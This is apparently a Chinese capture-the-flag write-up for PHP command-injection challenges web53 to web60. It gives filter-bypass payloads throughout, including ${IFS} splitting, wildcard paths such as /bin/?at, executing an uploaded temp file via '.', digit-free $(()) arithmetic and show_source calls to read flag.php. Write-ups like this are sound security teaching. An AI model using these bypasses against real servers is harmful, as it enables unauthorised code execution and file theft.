web53
开启容器

试了下?c=nl${IFS}fla''g.php||
发现会直接回显,查看原题,发现本题命令执行不同
1 | echo($c); |
之前的一般是
1 | system($c); |
辨析
- 本题命令执行
echo($c);
这行代码会直接输出变量 $c 的值。如果 $c 是一个字符串,它会将字符串内容输出到浏览器或控制台。$d = system($c);
这里的 system($c) 函数执行系统命令 $c,并将命令的输出直接发送到浏览器或控制台。同时,system 函数会返回命令的最后一条输出行,并将其赋值给变量 $d。echo "<br>".$d;
这行代码会输出变量 $d 的值,并在前面添加一个 HTML 换行符<br>。变量 $d 包含的是命令 $c 执行后的最后一条输出行。
system($c);传统命令执行- system($c);`
这行代码直接执行系统命令 $c,并将命令的输出直接发送到浏览器或控制台。system 函数会返回命令的最后一条输出行,但这里没有将返回值赋值给变量,因此无法进一步使用这个返回值。
- system($c);`
测试一下 ?c=ls

先输出我们传入的内容,即 ls的回显;紧接着直接输出 ls 执行的结果 flag.php index.php readflag;system 函数返回命令输出的最后一行,执行结果最后一行是 readflag,所有 $d 的值是 readflag,前面还拼接了一个 "<br>",因此会换行输出。
其实刚开始的payload把||删掉即可,因为这里没有黑洞路径了
符号$也被放出
直接?c=nl${IFS}fla''g.php

web54
开启容器

感觉是防止在特定字符串中用\等符号隐藏
具体过滤
1 | ;\|:匹配分号 ; 或者竖线 |。 |
nl 被过滤
发现可以用
1 | ?c=rev${IFS}fla?.php //倒装的flag |



因为 Linux 有很多命令存放在 /bin/ 目录下,可以通过绝对路径来使用,并且支持通配符。
Linux 下万物皆文件
也就是说 cat 命令也可这样用:/bin/?at
我来本地试一下,只能说太细了

web55
开启容器

与上题目不同 字母被完全过滤
网上学到
无字母 rce 里还有一个点:临时文件上传
本地上传网页
1 |
|
上传页面如下
然后构造上传的exp.txt
1 | #!/bin/sh |
上传并抓包
发到重发器,添加 payload:
1 | ?c=.%20/???/????????[@-[] |
成功RCE
.(点)的用法,就是相当于source可以执行sh命令。
接下来直接cat flag.php即可

%20是空格,我们这里使用点执行我们上传的文件,从而去执行内容中的 sh 命令,该文件会传到 /tmp/phpxxxxxx ,过滤了字母我们使用通配符问号代替,主要匹配的特征是文件名结尾的大写字母,大写字母不一定随机出现在最后一位,可能需要多试几次。
第二种做法
除了通过POST上传文件,执行文件里面的命令外,那linux中那么多sh命令,还有没有我们可以使用的呢?答案是肯定的
/bin/base64命令
/bin/base64的主要作用是对数据进行Base64编码或解码
使用方法:/bin/base64 filename
这个命令会将filename文件的内容进行Base64编码,并将结果输出
因为不能出现字母,所以
payload:?c=/???/????64 ????.???
因为这里有64,所以不会匹配到其他命令
最终得到base64加密的flag.php
web56
开启容器

.同样没过滤
上题第二种base无法成功,


web57
开启容器,提示:
1 | flag in 36.php |

变量可控,只需要把$c变为36.php即可
数字、字母、’.’都被过滤
我们给出主要解决无字母rce的一种方法就是利用自增运算符(用二进制理解)
而这里恰好没有把$给过滤掉,其目的也显而易见
在linux中
$(())=0
$((~ $(()) ))=-1
1 | $(()) |
这样一直重复嵌套就可以先得到-37,-37就是用37个
$((~$(())))串在一起,然后在外面加一层$(())就可以
再对其取反,加一层$(())就可以得到36


$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

web55-57 无字母RCE题目
web58
开启容器

很明显有后端过滤

c=print_r(scandir('./'));
可以看路径

使用 show_source 或者 highlight_file,构造 payload:
1 | c=show_source('flag.php'); |


web59
开启容器
一样的前端

与上题一样
使用 show_source 或者 highlight_file,构造 payload:
1 | c=show_source('flag.php'); |

web60
开启容器

使用 show_source 或者 highlight_file,构造 payload:
1 | c=show_source('flag.php'); |

同样处理